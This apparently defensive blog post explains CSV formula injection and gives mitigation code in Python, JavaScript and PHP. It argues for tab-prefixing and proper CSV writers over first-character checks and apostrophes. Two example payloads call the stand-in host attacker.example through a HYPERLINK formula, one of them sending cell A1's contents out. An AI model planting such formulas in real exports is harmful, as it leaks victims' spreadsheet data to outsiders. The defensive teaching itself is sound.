Writing

CSV injection: why checking the first character isn't enough

If your application exports user-supplied data to CSV, someone can put a formula in it. When a colleague opens that file in Excel, the formula runs on their machine, with their permissions, inside your trusted export.

That much is well covered. What most guides get wrong is the mitigation. Two specific errors recur, and both leave you exposed while looking like you fixed it:

  1. Checking whether the field starts with a dangerous character. A payload does not have to start the field.
  2. Prefixing with an apostrophe. That stops working the moment Excel saves the file.

The baseline problem

A CSV carries no types and no escaping semantics beyond quoting. Excel, LibreOffice Calc and Google Sheets all decide what a cell means when they parse it. A cell beginning with =, +, - or @ is treated as a formula and evaluated on open.

Put this in a name field and export it:

=1+1

Open the export in Excel and the cell shows 2. Harmless, and the cleanest way to prove to a sceptical reviewer that the hole is real.

The version that actually matters reads other cells and sends them somewhere:

=HYPERLINK("https://attacker.example/?d="&A1,"Payroll Q3")

Now a plausible-looking link in your export exfiltrates the contents of cell A1 to a third party when clicked. The victim sees a normal-looking spreadsheet from a normal-looking colleague.

OWASP also documents escalation through legacy Dynamic Data Exchange behaviour, which in some configurations reaches command execution on the workstation that opens the file. I am not going to publish a working DDE line here — the point is that the ceiling is higher than "a spreadsheet shows the wrong number," and you should treat it accordingly.

Error one: the separator bypass

This is the part that gets missed. Here is the check almost everyone writes:

if value[0] in ('=', '+', '-', '@'):
    value = "'" + value

It inspects the first character of the value your code holds. But the attacker is not limited to the value your code holds — they can end it early and start a new one. Suppose the input is:

Smith","=HYPERLINK("https://attacker.example","Invoice")

That value starts with S. It sails through the check. If your writer does not quote and escape correctly, the embedded " and , terminate the field and open another — and that cell begins with =.

So the rule is not "the value must not start with a dangerous character." It is: no cell in the output file may start with one. Those are different statements, and only the second one is a security property. OWASP makes the same point:

You also need to take care of the field separator and quotes, as attackers could use this to start a new cell and then have the dangerous character in the middle of the user input, but at the beginning of a cell.

In practice this means: never build CSV by joining strings with commas. Use a real CSV writer that quotes and doubles internal quotes, and apply the prefix rule after that writer has decided the field boundaries — or use a writer that does both.

Error two: the apostrophe does not survive a save

The universal advice is to prefix with a single quote. It works — right up until the user opens the file, presses Save, and reopens it.

The leading apostrophe is not data. In Excel it is a formatting instruction meaning "treat this cell as text," and it is not written back into the CSV. Save and reopen, and the apostrophe is gone while the payload is not. OWASP is explicit:

The above techniques are not reliable in Microsoft Excel after saving and re-opening the CSV file. To reliably prevent formula execution in Microsoft Excel, prefix any cell starting with =, +, - or @ with a tab character (0x09) inside the quoted field.

A tab is real data. It stays in the file, it survives the round trip, and it stops the formula parser. It is also invisible in most viewers, which is the closest thing to a free lunch here.

What to actually do

Three rules, in order:

  1. Use a real CSV writer. Your language has one. It handles quoting and quote-doubling so the attacker cannot forge a field boundary.
  2. Prefix any field beginning with =, +, -, @, tab or carriage return with a tab character, inside the quotes.
  3. Prefer .xlsx when the consumer is a human with Excel. An .xlsx stores a per-cell type. Write the cell as text and there is no interpretation step to attack — the string is a string. This removes the class of bug rather than escaping around it.

Python

import csv

DANGEROUS = ('=', '+', '-', '@', '\t', '\r')

def neutralise(value):
    s = '' if value is None else str(value)
    return '\t' + s if s.startswith(DANGEROUS) else s

with open('export.csv', 'w', newline='', encoding='utf-8-sig') as f:
    w = csv.writer(f)
    w.writerow(['Name', 'Note'])
    for row in rows:
        w.writerow([neutralise(c) for c in row])

Note utf-8-sig. That writes the byte order mark, which is unrelated to injection but is the difference between José and José when Excel opens the file.

JavaScript / Node

const DANGEROUS = /^[=+\-@\t\r]/;

const neutralise = (v) => {
  const s = v == null ? '' : String(v);
  return DANGEROUS.test(s) ? '\t' + s : s;
};

const field = (v) => `"${neutralise(v).replace(/"/g, '""')}"`;
const toCsv = (rows) => '' + rows.map((r) => r.map(field).join(',')).join('\r\n');

PHP

function neutralise(?string $v): string {
    $s = $v ?? '';
    return preg_match('/^[=+\-@\t\r]/', $s) ? "\t" . $s : $s;
}

$out = fopen('php://output', 'w');
fwrite($out, "\xEF\xBB\xBF");
foreach ($rows as $row) {
    fputcsv($out, array_map('neutralise', $row));
}

Test vectors

Put each of these through your own export and open the result in Excel. If any cell evaluates, you are not done. The first is safe to run anywhere; the rest should go somewhere you control.

InputWhat a vulnerable export showsTests for
=1+12The basic case
+1+12People forget +
-1+10People forget -
@SUM(1,1)2Legacy Lotus prefix
Smith","=1+1A second cell showing 2The separator bypass
=1+1 then save & reopen2 reappearsApostrophe-only defences

Row five is the one that catches otherwise-careful code, and row six is the one that catches code following the most popular advice on the internet.

The counter-argument, fairly stated

Microsoft's position is that this is not a platform vulnerability: CSV is a plain-text format with no active content, and it is the spreadsheet application that chooses to interpret text as formulas. On that reading the fix belongs in the program opening the file — which does warn, in some configurations — not in every program that writes one.

That argument is coherent, and it is why CSV injection is explicitly out of scope for a number of bug bounty programmes. It is also why plenty of other programmes pay for it, and why it appears in the OWASP Web Security Testing Guide as something to test for.

You do not need to resolve the philosophical question. You control your exporter and you do not control your users' Excel configuration, so the practical answer is to escape on write regardless of whose fault it is.

What escaping costs you

Being honest about the trade-offs, because they are real:

Check a file you already have

Our CSV scanner flags every cell that would be treated as a formula, alongside the values Excel would silently rewrite. It runs entirely in your browser — the file is never uploaded — which matters when the export you are testing contains real customer data. The scanning code is open source if you would rather read it than trust it.

Sources